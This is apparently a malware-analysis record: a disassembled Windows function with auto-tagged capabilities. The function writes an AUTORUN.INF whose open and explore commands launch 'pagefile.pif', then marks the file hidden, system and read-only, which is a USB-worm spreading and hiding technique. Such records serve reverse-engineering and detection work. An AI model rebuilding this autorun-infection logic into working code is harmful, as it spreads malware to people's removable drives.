Function at 0x406ced
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov eax, 0x40851c
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x14
push esi
push edi
mov edi, ecx
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString_1
push str.AUTORUN.INF
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 3
call fcn.004078d0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 4
call fcn.004078ee
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
push str._AutoRun_
lea ecx, [ebp - 0x10]
call fcn.004078d0
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call fcn.004078ee
mov esi, 0x40cf28
lea ecx, [ebp - 0x14]
push esi
call sub.MFC42.DLL_CString::operator
push str.openpagefile.pif
lea ecx, [ebp - 0x10]
call fcn.004078d0
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push esi
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push str.shellopen
lea ecx, [ebp - 0x10]
call fcn.004078d0
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push esi
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push str.shellopenCommandpagefile.pif
lea ecx, [ebp - 0x10]
call fcn.004078d0
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push esi
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push str.shellopenDefault1
lea ecx, [ebp - 0x10]
call fcn.004078d0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator_1
push esi
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push str.shellexplore
lea ecx, [ebp - 0x10]
call fcn.004078d0
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push esi
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push str.shellexploreCommandpagefile.pif
lea ecx, [ebp - 0x10]
call fcn.004078d0
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push esi
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call sub.MFC42.DLL_CString::CString_2
call fcn.00402158
pop ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call sub.MFC42.DLL_CString::CString_2
mov ecx, edi
call fcn.00402196
mov eax, dword [edi + 0xa78]
lea esi, [edi + 0xa78]
push 0
push 0x1001
push dword [ebp - 0x18]
mov ecx, esi
call dword [eax + 0x28]
test eax, eax
je 0x406eb1
mov eax, dword [ebp - 0x14]
mov edx, dword [esi]
mov ecx, dword [eax - 8]
push ecx
push eax
mov ecx, esi
call dword [edx + pe_nt_image_headers32]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x54]
push dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor edi, edi
call esi
cmp eax, 0xffffffff
jne 0x406ed6
push 0x3c
inc edi
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp edi, 0x14
jg 0x406ed6
push dword [ebp - 0x18]
jmp 0x406ebc
push 7
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
and byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
leave
ret 4